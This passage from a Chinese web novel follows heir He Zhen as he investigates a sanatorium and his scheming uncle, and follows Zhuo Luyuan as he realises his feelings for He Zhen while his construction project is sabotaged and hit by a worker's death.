贺真的手搭上方向盘,“嗯”了一声:“我以前没学过这个,所以做得不太好,希望你不要介意。” 卓鹭元马上摇头:“怎么可能介意!那个,你还是要早点休息,我看你回我消息的时候都半夜了,你要注意身体。” “你也是。鹭元,生日快乐。”贺真开着车往家里的方向开去,却忽然没头没尾地又对卓鹭元说了一句生日快乐,卓鹭元愣了一下之后反问:“刚才你不是和他们一起说过了?” “不一样。” 夜晚的道路畅行无阻,贺真看了一眼讶异的卓鹭元,继续说:“那是和他们一起说的,现在是我自己想对你说的。” 直到到家时卓鹭元还有些恍惚,但无论如何,这个生日一定是他最难忘的一个生日。 贺真最近不仅是在忙给卓鹭元送礼物的事,还做了不少支线任务,所以一时间也累得不行。 不过支线任务也不是随时都有的,贺真好不容易清完现有的支线任务之后,也没选择休息,而是联系钱特助,让他和慈康疗养院对接一下,说有业务想和他们洽谈。 钱特助办事的效率和他的薪水一样高,很快就办妥了贺真交待的事。贺真没让其他人出面,自己带上钱特助再次去了慈康疗养院,和对方洽谈合作的事。 慈康疗养院的院长叫叶青华,这家疗养院建立之初就已经在这里工作了,今年五十多岁,贺真估摸着再有几年院长应该就会换人了。 叶院长身高中等,耳边的碎发已经有些发白,脸上架着一副眼镜,看向贺真的目光里带着慈爱:“这位就是贺先生吧?我是叶青华,这家疗养院的院长,许多年前和你父亲见过。” 贺真长得有七分像年轻时的贺父,只是比贺父的气质还要冷淡几分。叶青华有些感慨,转眼间二十多年过去,连贺总的孩子都长这么大了。 叶青华藏起心中的感慨,温和地问贺真:“贺总这次来,是想和我们疗养院谈什么合作?” 贺真接过钱特助手里的计划书对叶院长说:“是体检的事。上次我来看望郑曦,发现这贵院无论是设施还是服务,各方面都很不错,所以想和您谈一下公司职员每年定期体检的事。” 哦?这可是好事。 叶青华推了推眼镜,思索了一下问贺真:“上次确实是贺氏联系我们,将一次员工入职体检放在了我们这边。贺总的意思是总公司的体检还是……?” “这个要看您这边的承接能力了。”贺真没把话说死,留给了叶院长和院里开会讨论的空间。体检一事对他来说并不是十分重要,重要的是他想借此和疗养院搭上线,想办法摸清这家疗养院的底子。 叶青华点点头,果然和贺真估计得差不多:“这样的话,院里需要开会商量一下,恐怕没办法马上给您答复。” “没事,这次我来本身也是想看您有没有这方面的意向,既然您有这个意向,那后续的事都好说。”贺真十分好说话,叶青华心里也对贺真这个年轻人生出几分好感。 这是有人推门进来,看样子是个戴着眼镜的年轻医生:“爸,你今天出门又把药落在家里了,我给你带过来……这位是?” 来人发现办公室里有客人,也收起了刚才那副随意的样子,正色看向贺真。 叶青华笑着和贺真介绍:“让贺总见笑了,这是我儿子,叶云柏,也是这家医院的医生,前几年去国外进修,今年才刚回来。云柏,这位是贺总,咱们院的疗养项目就是贺氏注资的。” 叶云柏了然,友好地向贺真伸出手:“您好,我是叶云柏。” 贺真和叶云柏握了握手,看向叶云柏时却不知为何有种莫名地熟悉感,下意识开口问道:“您好。我和叶先生以前见过吗?” 叶云柏有些疑惑地摇头:“我记忆里对贺总似乎没有印象。” 叶青华拍了拍叶云柏的肩膀:“贺总前些年也在国外,说不定你们在国外的时候还真见过,只是你们不认识而已。” 这倒是也有可能,叶云柏笑笑,送完药之后就出门去忙自己的事了。 贺真却陷入沉思,“贺真真”有可能在国外见过叶云柏,但他是贺真,为什么会对一个素未谋面的人产生这种熟悉感? 这其中肯定有问题。 第48章 第 48 章 卓鹭元过完生日之后…… 卓鹭元过完生日之后, 就得回公司继续忙了。 卢俊城先后又带着人来了公司几次,卓父带着卓鹭元和卢俊城确定计划书里的内容, 前后不知道开了多少会才最终定下和卢俊城合作。 不仅是卓鹭元,连卓父也松了一口气,这段日子他也累的不轻,好在最后是定了下来。 两家约定好,对两块地一起进行联合开发,其中卢俊城的公司以注资的形式进行合作, 开发和后期宣传主要还是在卓父自己这边,这样他也放心。 卓鹭元刚想松一口气,就听到卓父说:“你以为这就完了?等工程开始了, 你去跟着盯进度。我年纪大了, 别想什么都指望我。”这段时间卓父腰疼的厉害, 这两天正等着卓鹭元接手了后去按按腰扎两针。 卓鹭元本来还想赖皮一下,但看到卓父下意识按着腰的样子又把话咽了回去,对卓父乖乖点头:“好,知道了,到时候我带助理一起去,不知道的还能问问贺真。” 卓父赞同地说:“你肯上心就是好事。之前我让你和小贺多聊聊你还不乐意, 怎么一下子和人家关系那么好?” “哪有?”卓鹭元下意识反驳:“不是你们之前说让我多带着他一点吗,我和他哪里关系不好了。他比我忙,我不想总是因为自己的事打扰他而已。” 卓父稀奇地看着卓鹭元:“哟,你还有替别人着想的时候,有进步。” 卓鹭元:…… 他在自己老爸心里到底是个什么形象啊! 卓鹭元臭着一张脸,也不打算和卓父争辩,有些事他自己心里知道就行,干嘛和老头说, 要不然老头又要为那些有的没的瞎操心了:“好了,我回办公室去了。我还是第一次跟这么大的项目,也不知道能赚多少。” “这也是对你的一种锻炼,放宽心,这不还有我给你兜底。”卓父也没打算一下子给卓鹭元那么大压力,但一点压力没有也是不行的。 卓鹭元也清楚这一点,所以等资金到位之后就开始忙碌起来,从前期做好的开发规划到施工,算是真正地进入到工作状态。 有些事不做不知道,等卓鹭元真正开始扎进项目里,才知道有些工作不是像写在文件上的文字那样简单,前期光是采购建材就差点被人坑了,对方见卓鹭元是个生面孔想坑他一笔,还好之前卓父提醒过他,他才没踩进去。 眼下快入秋了,但白日的温度却一点不见降下来,空气里裹着潮气依旧很闷热。 卓鹭元前前后后跑了不少趟,等材料到位之后又去看施工的情况,整个人比起以前黑了一些,但看着却更有精神一些。 施工队里多是些工人,卓鹭元看着他们在闷热的空气中一趟趟来回搬着东西,心里颇有些不是滋味,特地叮嘱助理每天准备一些解暑的东西,给每个人都发一些。 贺真接到探班卓鹭元的支线任务来看他时,敏锐地发现对方身上发生了一些变化。现在的卓鹭元身上少了些纨绔子弟的气质,整个人却更加沉稳了一些,像一柄正在打磨的利剑。 贺真猜他应该累了,所以今天准备的菜都是他爱吃的,贴心地问他这段时间的情况:“最近是不是很累?别人家的老板都坐在办公室,你怎么还要自己出来盯着。” 卓鹭元夹了一筷子肉放入口中,边吃边摇头:“别提了,都是以前贪玩欠的债,我要是不老老实实把这个项目跟完,以后管理公司被人骗了都不知道,不管怎么说至少这一个项目得从头到尾盯一边,以后就不这样了。” 许多事上卓鹭元都没经验,这次他把每个环节都跟一遍之后心里就有了数,以后只要放开让手下人去做,他确保不出问题就好,要不然得累死人。 贺真觉得也是,卓鹭元眼看着都瘦了一圈,今天他带来的菜还特地多带了一道荤菜,私心里想把人喂回来一点。看对方动筷子的频率,果然应该很喜欢这道菜。 卓鹭元吃得开心,贺真垂眸,想起不断迫近的主线剧情和令卓家遇到危机几乎破产的事,贺真忍不住怀疑是不是他正在忙的这个项目。 公司每天合作的项目大大小小也有不少,他不敢确定是不是卓鹭元正在推进的这个出了问题。 看着卓鹭元吃得开心的样子,贺真默默地把这件事压在心里,不管发生什么事,至少还有他在。 “他们动工了?” 乔昱褀轻轻弹了弹烟灰,漫不经心地看着眼前的人。 贺继明点头:“对,卓鹭元亲自跟的项目。乔总怎么最近突然关心起卓家的事了,需要我帮忙吗?” 乔昱褀嗤笑一声,显然看不上贺继明,言语中更是毫不掩饰对贺继明的轻蔑和愤怒:“怎么不关心?其中有一块地还是我爸亲手给出去的。托你的福,我还是第一次被人打进医院,到手的地也飞了。” 贺继明听出了对方话里的怒意,说话间更加谦恭:“要不是贺真突然出现坏事,事情也不至于如此。不过乔总这样说,今天又叫我过来,不知道有哪里是我可以帮上忙的?” 乔昱褀看着贺继明,按年龄来说对方当自己爹都足够,这会却能舍下脸面和他一个小辈这样说话,看来那人说的没错,贺继明这人果然所图不小。 乔昱褀笑了一声:“既然你知道我对卓家不爽,那我怎么会眼睁睁地看着他们拿我家的地赚钱呢?不过除了这件事之外,我还有一些事需要你去做。我看贺真不顺眼很久了,你去给他找点麻烦,我不好过他也别想好过。” 最近这段时间乔昱褀没少听说贺真和卓鹭元走得很近,甚至经常在一起吃饭喝酒,圈里不少人出去玩的时候都碰到过,甚至有不长眼的人跑到乔昱褀面前来说,原来卓鹭元不是不给别人好脸色,只是单纯看不上乔昱褀罢了。 乔昱褀把说这话的人打了一顿丢出去,但心里对贺真更厌恶了。他没忘记当初贺真带走卓鹭元的样子,对方只用一只手就能把自己甩开,这种奇耻大辱乔昱褀连自己父亲都没说过,怎么可能放过贺真。 贺继明想通其中关窍,点头应下:“这件事交给我去做。至于卓鹭元的工程那边,施工的过程中偶尔出现什么意外也是常有的事,就算真出了什么意外,也只能怪他们运气不好。” 乔昱褀见贺继明听懂了自己的意思,不由得感慨还是和聪明人打交道毕竟愉快。不过如果对方太聪明,那也是个麻烦事,临走前乔昱褀不忘敲打对方:“我知道贺家这次回国挡了你的路,你想报复我没意见。但是我把丑话说在前面,你要怎样报复是你的事,但你要是打着乔家的名义把乔家拉下水,那我一定会让你后悔。” 贺继明敛下眼底的狠意,向乔昱褀躬了躬身之后就走了。 乔昱褀把烟头按灭在烟灰缸里,他想对付卓鹭元和贺真很久了,只是一直苦于父亲的教导没有妄自出手。可这次事情巧了,他没想到除了自己之外,竟然还有一个人也不想让卓鹭元好过。 真是瞌睡遇上枕头了,乔昱褀想到不久的之后将要发生的事,心里也跟着愉悦起来。 卓鹭元,他可真是无时无刻不在期待着对方来求自己的那个时刻。到了那一天,对方脸上会是不甘还是错愕,真令人期待啊! 贺继明回到家里,一个玻璃杯就朝他砸了过来,被他闪身躲开,妻子邹卉不管不顾地对他大叫:“你不是说会救我们儿子回来的吗,为什么彦彦现在还在牢里!世界上怎么会有你这么狠心的爸,竟然真的舍得自己的儿子去坐牢!” 邹卉的家世比贺继明高出不少,所以即便贺继明现在心里怒火滔天,却依然压着性子哄对方:“我不是和你说了,这不过是权宜之计。咱们的儿子以后是要当继承人的,和那些穷人不一样,坐过牢算什么,自家公司还能不要他吗?但要是真把贺业明得罪狠了保不住公司,那咱家儿子就真的保不住了。” 邹卉根本不想听他说这些:“我不管!就是他们姓贺的父子俩把我儿子送进去的!你告诉我个准话,到底要等到什么时候才能放我儿子出来,我上次去看他,他都瘦了一圈了,他什么时候受过这种苦啊!” 贺继明觉得头疼,捏着太阳穴咬牙说出一个时间:“年底,就今年年底,行了吧?” 贺继明解决完邹卉,回到自己书房,闭着眼睛靠在椅子上,只觉得自己内忧外患疲惫不堪。邹卉也就罢了,好歹是他的妻子,现在连乔昱褀那个小兔崽子也敢对自己那么说话,不把自己放在眼里的样子和贺真一模一样令人厌恶。 贺继明的宁静只持续了片刻,放在书桌上的电话就响了,是他的心腹打来的,他不得不起来点了接听:“你说。” 只是贺继明刚听了两句话,眼神就变得锐利起来:“你说贺真去了疗养院谈合作?” 第49章 第 49 章 贺真拿着钱特助找到的资…… 贺真拿着钱特助找到的资料, 有些费解地看着关于叶云柏的一切。 叶云柏是叶院长叶青华的独子,年龄比贺真大三岁, 今年二十九岁,在国内读完研究生之后就出国进修了,直到今年年初才回国,履历很是好看。 而叶家也不像贺家内部有这么多弯弯绕绕,叶母是淮市大学的教授,单从这份资料来看, 贺真还看不出来有什么问题。 但是见到叶云柏是的那种熟悉感始终萦绕在贺真心里,让他对叶云柏有些在意。贺真没想出来什么,贺父的电话先打过来了。 贺真接起来, 有些疑惑贺父怎么突然打电话过来:“爸, 怎么了?” “阿真, 这个周末把时间空出来,我们一起去你太爷爷家吃饭。”贺父的声音听着有些疲惫,毕竟贺真回国这么久,贺父可从来没有叫他一起去过那边。 贺真皱着眉问贺父:“怎么突然要过去吃饭?” 贺继明和他们家的不和都快摆到明面上了,这个时候太爷爷叫他过去吃饭,怎么看都像鸿门宴。 果然, 贺父声音中带着些冷意,对贺真说:“还能是什么原因,贺继明跑去告状了,这是要找我们父子两个算账。哼,他们父子做出那种事来,怎么还有脸倒打一耙。” 贺真虽然不怕对方告状,但心里也有些烦太爷爷是非不分的样子,拿着手机对贺父说:“知道了, 我妈也去吗?” “你妈她不去。”贺父知道自己妻子的脾气,真要去了能当场把桌子掀了,还平白无故地让她上火生气。 贺真挂了电话,总觉得有些凑巧。之前贺继明带着贺彦来道歉时,贺真那样不留情面,对方都没去找太爷爷告状,如今他刚查到疗养院和院长谈合作,太爷爷马上就让他们父子去吃饭,怎么看怎么不对劲。 鸿门宴而已,贺真也不怕,至少证明了一点,他现在的调查方向是正确的。 贺继明确实是故意的。 贺彦这件事在贺继明这里一直没有翻篇,原本如果不是乔昱褀开口,他并不想这么早就把这件事捅到老太爷那里去。不过现在这样做既能给乔家卖个好,又能准备从贺家父子那里捞到些好处,也算不上吃亏。 只是不知道贺真那小子知道了什么,竟然会找到疗养院去,还想和叶青华合作,看来他要做些什么了。 贺家老太爷叫贺山,这些年在国内一直是贺继明在照顾,所以对贺继明很是亲近,听说贺彦出事的第一反应不是贺彦惹事了,而是贺继明为什么不来找自己帮忙。 贺业明当初提出出国时贺山就不同意,可是他宁愿舍下一部分家业都要出去打拼,丝毫不顾忌他年纪大无人照顾,哪有贺继明关心自己,所以这次贺老爷子才会提出让贺业明父子俩过来吃饭,有意敲打他们。 贺老爷子的宅子在淮市有名的别墅区,这还是贺真回国以后第一次来这边。司机带着贺家父子俩停在门口,却不见有人来开门。贺父疑惑地看着前面问司机:“怎么回事?” 司机为难地说:“贺总,大门关着,咱们的车子进不去。” 贺父脸色有些难看,这是贺老爷子在给他们下马威呢! 贺父自认没有亏待过贺继明,当初就算执意出国也给他留下了部分产业。贺父早就清楚贺继明是个什么人,不用想都知道自己不在国内时对方没少靠着公司填自己荷包。 眼下贺彦做错了事,他竟然还偏帮贺继明给自己下马威,贺父不由得有些寒心。 贺真看着贺父冷着脸打了个电话,毫不客气地对贺继明说:“如果你不想开门,我可以以后都不来这里,给你三分钟时间考虑,不然我就让司机调头。” 贺父也不等对面的回话,干脆利落地挂掉电话,不到一分钟的时间大门就打开了。 贺真对贺老爷子的作派很看不上,贺继明和贺父比起来,明显贺父的经营能力比贺继明高出许多,明眼人一看就知道这是贺父在帮衬贺继明,哪有一边捧着别人给的饭碗,另一边还要当大爷的做法,贺真也跟着没了好脸色。 正厅里,贺老爷子正坐在上座,看也不看贺父和贺真,似乎还在摆着架子等待贺父低头开口。贺父像发现对方的无视一般,拉着贺真就直接坐下,开门见山道:“这次叫我们回来什么事?” 贺真难得看到贺父这么硬气的一面,贺父没有让他叫人的意思,于是贺真沉默地听着贺父和贺老爷子的对话。 贺老爷子冷哼一声,把茶杯重重放在桌子上,一旁的邹卉都跟着心惊了一下,她都好多年没看见老爷子这么生气过了。不过都怪贺业明和贺真那两个王八蛋,竟然敢把她的儿子送去监狱,她愤怒地同时又生出些快意,等着贺老爷子敲打他们。 “这么多年你都没回来管过我,还有你,进了门也不叫人,这就是你的家教吗?”贺老爷子说的是贺真,他看贺业明不顺眼,连带着对贺真也没有什么好感。 不过贺真也不需要贺老爷子的好感,又不是什么好东西。 贺真看了一眼正在一旁看好戏的贺继明,不开口则已,一开口就能噎死人:“劳烦爷爷操心。不过我自认父亲的家教还算过得去,起码到现在为止我没有做出什么挪用公司财产还找家长告状的无礼举动来,还是说爷爷更喜欢那样?” 贺老爷子气极,食指点着贺真,颤抖着半天没有说出话来,邹卉连忙吩咐阿姨端杯水来:“还不快给老爷子拿杯水过来,没看见老爷子被人气成什么样子了!都是做晚辈的人,我还没见过刚进门就这么不孝顺的人!” 邹卉话里夹枪带棒,贺父怒极反笑,正准备说些什么时被贺真悄悄拦住,贺真用口型对贺父说“我来”,然后看着邹卉说:“我觉得婶婶说得有道理,如果不是贺彦走错路做错了事,哪会惹出后面这么多事端,还把爷爷气成这样,是有些不孝顺了。” 贺父听完贺真的话,嘴角轻微抽搐,差点没忍住笑出声来。也不知道儿子和谁学的,怎么现在说起话来这么的…阴阳怪气? “行了!” 贺老爷子怒喝一声,止住想还嘴的邹卉,眼睛直勾勾地看着贺父:“你真是养了个牙尖嘴利的好儿子。一句话,小彦你到底救不救?” 贺父也没惯着贺老爷子:“他违反的是法律,不是谁的家规,我救不了。” “那好,”贺老爷子看着贺继明对他说:“继明就这么一个儿子,既然你救不了他,那就让继明去你的公司,当作给继明的补偿吧。” 贺真讶异地抬头看向贺老爷子,没想到对方原来是在打公司的主意,这是把他们父子二人当傻子还是受气包? 贺父的拳头紧握,骤然从沙发上站了起来:“人我救不了,公司更不可能给。以前我给过他一家公司,结果他把公司管成什么样了?挪用公司财产不说,还骗男孩女孩去给老板陪.酒,拿着好好的娱乐公司去做皮肉生意,这样心术不正的人我的公司放不了。” 贺父深呼吸了一口气,尽量放平语气克制自己的情绪:“我知道这么多年一直是他在国内陪着你,你对他有感情我不多说什么。可是我现在拥有的一切都是我自己打拼来的,没要过你们一分钱。我也有儿子,不可能答应你们这种条件。如果你们叫我来只是为了说这个,那我以后不会再来了。阿真,走了!” 贺真起身跟上贺父,看着他起伏的胸膛就知道他甚至比表面上更愤怒,一时间也不知道该说什么好,只能干巴巴地安慰一句:“爸,你没事吧,别为这些不值得的事情生气。” 贺父勉强露出一个比哭还难看的笑容,有些魂不守舍地对贺真说:“以前你叔叔不是这样的。或许是因为我赚钱的缘故吧,不知怎么了就渐渐变成现在这样了。他们家的事我不管了,如果之后他们找到你那边去,你不理就行了。” 也只好这样了。 贺真回家,背着贺父悄悄把这件事给贺母说了,贺母也气得不行:“那个邹卉说谁没家教呢?我儿子可不像他她儿子一样吃喝嫖.赌!哼,下次要是让我碰到她,我一定帮她好好宣扬一下他那个好儿子!” 贺真安抚贺母:“别气,我爸今天挺硬气的,没给他们留下话口。而且她说完我之后,我也说回去了。”不仅说回去了,还差点给老爷子也气倒。 贺母听完之后消了些气,有些担忧地对贺真说:“你爸他耳根子软,你多盯着点。要是你劝不住他,打电话给我,我来收拾他!” “……好。” 贺真觉得如果这次他爸还能心软的话,大概真没什么好果汁吃了。 不过这次贺继明没在他们面前讨到好,估计不会那么容易善罢甘休。想起疗养院的事情,贺真顺嘴问了贺母一句:“妈,当年是不是很流行去疗养院坐月子和做手术?” 贺母正盘算着下次见到邹卉狠狠刺她几句,冷不丁听到贺真这么问,下意识回答:“是啊,连邹卉都去住过。哼,拿着我们家赚的钱自己去享受,真是他们家人的作风。” 邹卉? 贺真觉得自己似乎抓到了什么,但又不敢肯定,继续追问贺母:“她去过吗?是生贺彦的时候吗?” “是啊,”贺母不明白贺真为什么突然这么在意,但还是回答了:“就是那会,你都还没出生呢。你突然问这个做什么?” “没什么。” 贺真下意识隐瞒,如果他的猜测是真的,那贺继明这人就更不能留了。 第50章 第 50 章 卓鹭元这两天在公司心情…… 卓鹭元这两天在公司心情好得不行, 连卓父看见都觉得稀奇,眼睛刚瞟到卓鹭元的胸针, 还不等他开口问,卓鹭元就对卓父说:“你怎么知道这是贺真送给我的?看,好看吧?” 卓父没眼看,询问卓鹭元进度的事:“行了,别显摆了,和我说说最新的进度。” “哦。进度还不错, 估计年前应该能搞定大半吧,明年刚好开业。”卓鹭元有些遗憾卓父没看出来这是贺真亲手制作的,但还是回答了卓父的问题。 进度比卓父想象中的快一点, 卓父点点头, 交待卓鹭元:“其实你也不用那么辛苦经常往那边跑, 偶尔去看看情况,确保别出问题就行。你看着瘦了不少,你妈看见又该心疼了。” 卓鹭元没怎么当回事,等卓父走后照了照镜子,看着镜子里的自己,感觉自己好像比之前胖回来了一些, 应该是之前贺真经常过来看他的缘故,皮肤也白了回来。 不知道是不是他的错觉,最近他总觉得贺真似乎比之前更忙了,但是他似乎也没听说贺氏最近有什么特别大的项目。 卓鹭元坐在自己的办公室里,忍不住又把胸针拆下来拿在手上反复把玩。这还是第一次有人给他送自己亲手制作的礼物,再加上之前贺真对自己那些暧昧的举动和言语,之前一直被他刻意忽略的那个想法再次浮现脑海。 贺真喜欢自己吗? 卓鹭元忐忑的同时又有些丧气,他要直接问对方吗?万一他猜错了怎么办, 两个人是不是就不能再继续当朋友了? 卓鹭元一想到自己和贺真之间有分道扬镳的可能性,想要得到答案的心又开始七上八下,但又不甘于只和贺真一直当朋友,所以还是拿不定主意。 贺真的想法他不清楚,但他自己大概可能确实不太直了,或者说只对贺真不太直。 算了,遇事不决不如问问狗头军师,卓鹭元干脆利落地去找盛俊文,问他:“你这会精神着不?” “大白天的,肯定的啊。怎么了?”盛俊文有些摸不着头脑,这会儿卓鹭元不应该在上班吗? 卓鹭元有些不好意思地轻咳一声:“不是你说的让我下次找你挑个你有精神的时候吗。那个,问你个事儿,你觉得贺真是不是对我有意思?” “……你现在才发现吗?”盛俊文有些无力地回答,贺真都快把喜欢卓鹭元写在脑门上了,怎么卓鹭元还在问这种笨蛋才会问的问题。 “我这不是怕会错意吗,我又没谈过恋爱,万一他只是关心我呢。”卓鹭元嘴上说着万一,心里却有些暗爽,连盛俊文都觉得贺真喜欢自己,看来他的感觉应该没错。 盛俊文心里吐槽卓鹭元,你还有对自己不自信的时候,嘴上却说:“他在意,他在意死了,你没听上次聚会他一直在问你的事。你打算怎么办,找他问个清楚?” 卓鹭元理所当然地说:“那当然了,我是那么畏畏缩缩的人吗?既然我确定我喜欢他,当然要主动出击,万一他被别人追走了,我总不能当小.三吧。” 行吧,看来卓鹭元到底还是喜欢上贺真了。不过贺真各方面条件都不错,也没有什么乱七八糟的事,除了是个男人之外似乎真没什么缺点,他这个当发小的只能祝福了:“你想明白就行。不过我得提醒一下你,你喜欢贺真这事你家里人知道吗?咱们这样的家庭,家里人是个大问题。” 卓鹭元也知道这一点,但他暂时不想去想那么久远的事给自己自找烦恼:“我知道,但我都喜欢上贺真了,总不能再去找其他女人结婚生子吧,那不是骗人嘛。” 圈里这样做的人不是没有,但卓鹭元不想变成那样的人,所以这件事他连考虑都从没考虑过。 见卓鹭元态度坚决,盛俊文也没多说什么:“行,之后如果需要我帮你,随时给我打电话,我先提前祝你心想事成了。” “嗯,谢啦。”卓鹭元挂了电话,到底还是决定鼓起勇气去问个清楚。 只是不等他去问,助理先敲响了办公室的门:“卓总,工地那边出了点问题。” 工地出问题? 卓鹭元不敢耽搁,带着助理就往工地赶过去:“先去工地,具体情况路上和我说。” 一般的小事助理是不会来找卓鹭元的,一般就由他们自己解决了,眼下这件事说明助理处理不了才会找卓鹭元拿主意。 卓鹭元在车上听着助理说着工地的情况,越听越觉得自己应该是被人盯上了。 事情要从几天前说起。 几天前工人们正在照常施工,忽然有一群小混混闯到工地,二话不说就把工地上的材料弄的乱七八糟,各种材料混在一起,许多都不能用了,造成了不少损失。 这些小混混毁了材料还不算完,还出言挑衅工人,工人们没忍住和小混混动了手,工头和监理都没拉住人。 结果混乱中不知道是谁报了警,那些小混混和动手的工人全被带走了,正等着卓鹭元去捞人。 动手的工人有四五个,这次是对方惹事,于情于理卓鹭元都要去把人带出来。 只是等卓鹭元到了以后,那帮小混混还是不依不饶的样子,一看就是惯犯了。卓鹭元交了罚金,打电话让人把工地的监控调出来送到警.局,证明是对方先惹事工人才会还手。 还好他们这边证据齐全,情节也不算严重,卓鹭元交了罚金就把人带出来了,还安慰他们:“这事不怪你们,这两天我让他们做点好吃的,都压压惊。下次遇见这种事不要冲动,等我来处理。” 工人们有些不忿:“卓总,你是没看到他们的样子,不光把我们买的材料故意混在一起,还说我们都是乡下来臭要饭的,这谁能忍得了!” “我知道是他们有错,只是你们动手了,就在警.察这不占理。不过这件事确实是无妄之灾,等回去我让助理给你们每人发个红包,就当压惊费了。”卓鹭元耐着性子和工人们说明白,转头马不停蹄地回公司去找卓父:“爸,有人在针对我们。” 卓鹭元关上门坐下来,把在工地上发生的事竹筒倒豆子一般全说了,还提了工人们的事:“我去看了那几个小混混,混不吝的样子一看就不是第一次做这种事,进了警.局也丝毫不怕,一看就是有人找来故意惹事的。爸,你怎么看这件事?” 卓父皱眉,把眼镜摘下来放在桌上:“看来有人不想让我们这个项目顺利完工,以前倒是没发生过这种事。这些日子你让人盯紧点,尤其是施工队内部。他们要是想对我们的项目动手,今天的事肯定还会再发生。” 卓鹭元点头,面色犹豫地看向卓父:“爸,你觉得会是乔家吗?毕竟那块地是从他们手里拿来的,他们要是怀恨在心也很正常。” 卓父也想到了这一点,但眼下没有证据,那些混混又咬死了自己没有受人指使,卓父也不好贸然向乔家发难。 卓父叹了口气,对卓鹭元说:“最近警醒一些吧,多盯着些工地那边,越是不起眼的小事越容易出问题。” “好,我知道了。” 卓鹭元有些忧心地回到自己的办公室,暂时也没了去找贺真到心情,只想先把公司的事解决再去谈其他。卓鹭元给助理打了个电话,把需要注意的事情都交待了一遍,尤其是如果再有人来闹事,一定让工人们不要冲动。 助理将事情一一记下,回去继续工作了。 卓鹭元有些烦躁,想了想给卢俊城打了个电话:“城哥,做生意是不是很难?” 卢俊城似乎有些疑惑:“怎么这么说,是项目遇到困难了吗?” 卓鹭元没有明说,只是笼统地提了一下:“算是吧,我第一次负责这方面,只是觉得有些事情和我原来的想法有些差距。城哥,你之前做生意遇到问题都是怎么解决的?” 卢俊城笑了一下:“你这个问题可太大了,我没办法回答。如果你是想要一个方法上的回答,那只有一个,就是找到问题的源头在哪,然后解决问题。” 卓鹭元忍不住吐槽:“怎么像没回答一样。” 但卢俊城说得其实也没错,卓鹭元叹了口气,卢俊城那么聪明,以前管理公司都遇到过问题,更何况是他呢。不过他和卢俊城现在是合作关系,他和对方提项目遇到问题似乎也不是个好事,于是卓鹭元和卢俊城寒暄几句后就挂了电话。 卓鹭元猜到接下来的日子大概不会太平稳,工地那件事就像是一柄达摩克利斯之剑,一直悬在他的心里迟迟没有落下。小混混那边依旧没有查到什么,只是工地上偶尔出现一些大大小小的问题,好在卓鹭元早有准备,解决得倒也算顺利。 这天早上卓鹭元还在睡觉,半梦半醒间手机突然响了,他迷迷糊糊地接起电话,就听到助理慌张的声音:“卓总,工地那边出大事了,有人死在工地上了!” 卓鹭元几乎是瞬间清醒,对着电话说:“我马上到!”【你现在阅读的是 】 50-60 第51章 第 51 章 “怎么回事?!” …… “怎么回事?!” 卓鹭元火急火燎地到工地附近, 他来的时候已经有人报了警,现场被围起来不许人靠近, 一时间卓鹭元也不知道到底是什么情况,只好问先接到这个消息的助理。 助理知道的并不比卓鹭元多,只说:“听说昨天半夜有人醒来起夜的时候发现同宿舍的一个工人不见了,本来他以为对方也是去上厕所的,直到发现没听到有人回来时才发现不对,出去找的时候人已经死了, 听说是坠楼。” “坠楼?是自.杀还是……?”卓鹭元的心一下子被提了起来,边问边给卓父打电话,卓父那边的电话却一直是忙线打不进去, 估计也是在处理这件事。 “还没有调查清楚, 但从现场来看似乎不像他杀。”助理问过这边的工头, 都说事情发生的突然,不知道怎么回事人就死了,一点头绪也没有。 卓鹭元拿着手机有些茫然无措,被助理叫了几声之后才回过神来,让他先和负责公关的部门联系,在事情还没有调查清楚之前盯紧舆论, 防止竞争对手趁机抹黑公司形象。 助理匆匆忙忙地去一边打电话联系,卓鹭元定了定神,打开手机去看网上的舆论。不知道是谁动作这么快,昨天晚上发生的事情,连警.察都还没有调查清楚原委,就有人把坠楼的事情发到了网上。 评论里说什么的都有,阴谋论的人有,更有甚者还在怀疑是不是他们家公司压榨工人, 才会让工人压力太大选择轻生,底下附和的人竟然还不少。 卓鹭元再看下去要长结节了,逼着自己退出软件冷静下来,现在当务之急是去警.局看看情况再做决定。 卓鹭元去警.局的路上,卓父的电话终于打通了:“是贺家对我们出手了。” “贺家?!不可能!”卓鹭元下意识否认,贺家怎么可能对付他们,贺家现在的主业又不是地产,两家人关系都这么好。 卓父的声音隐隐透着怒气:“你想到哪里去了,不是老贺他们,是原本留在淮市的那个贺家。如果我没猜错,是乔家指使他们的,这样万一出了问题也能把自己摘得干干净净。” 卓鹭元气愤的同时又松了口气,不是贺真就好,随即又强打精神追问卓父:“贺真不是收回了他嫩一部分产业,他们怎么还有力气蹦跶,居然替乔家卖命?” 卓父也不清楚个中缘由,但当务之急是要先控制好舆论,着人去调查坠楼的具体情况,看看能不能找到证据澄清。 只是还未等他们父子俩找到确切的证据,那个坠楼工人的家属就发声了。 坠楼的工人叫陈志,家里只有妻子和一个正在上初中的儿子。他的妻子是做小生意的,每天早上都会推着小推车在学校门口卖早饭,晚上继续去夜市摆摊,一家人过得日子不算好。 眼下陈志突然出事,听说还是因为是受到了卓家的压榨,陈志的妻子当即带着横幅找到了工地,当着记者和警.察的面哭诉:“我们家那口子多老实一个人啊,只是出来打工赚个钱怎么人就没了呢,这让我们娘俩以后怎么办啊!今天盛辉必须给我们一个说法!” 她用力抖开横幅,红底的横幅上印着几个大字:盛辉黑心公司,草菅人命,压榨工人! 卓鹭元看着助理发给自己的现场视频和图片,顿时气不打一出来,他哪里压榨工人了?! 这段时间施工他都是严格按照规定时长来的,尤其是像什么夜间疲劳做工也是没有的事,偶尔晚下工的时候也给工人们算进工时里的,吃喝上更是没亏待过,哪里谈得上压榨两个字。 公司的公关反应很快,不多时就用公司官方号公布了自从施工以来的部分证据,除此之外还联系记者采访了部分工人,工人们的话也证实了这一点,盛辉在这方面做得还算厚道。 网上的舆论还在持续发酵,因为之前卓鹭元经常去工地的查看进度的缘故,部分不理智的人把他也牵扯了进来,一时间说什么的都有,辱骂的话更是数不胜数。 卓父担心他心理出问题,让他回家先休息两天,并且把他的社交号也要走了,让法务将他人辱骂的证据收集整理之后起诉。 “元元,听爸爸的话,你这两天先不要出门了,在家让阿姨给你做点好吃的,打打游戏什么的,公司的事交给爸爸处理。”卓父按捺住内心的不安宽慰他:“我们这边已经在搜集证据了,没做过的事我们不会认。” “好。” 卓鹭元躺在床上,无力地看着头顶的天花板,不知道事情怎么会发展成现在这个样子,因为舆论的关系,在警.察调查清楚之前他还不能贸然出面解释,只能将一切交给卓父。 他强迫自己不去看网上的信息,手机里一向叽叽喳喳的小群也安静下来,多了几条私聊问卓鹭元情况的消息。 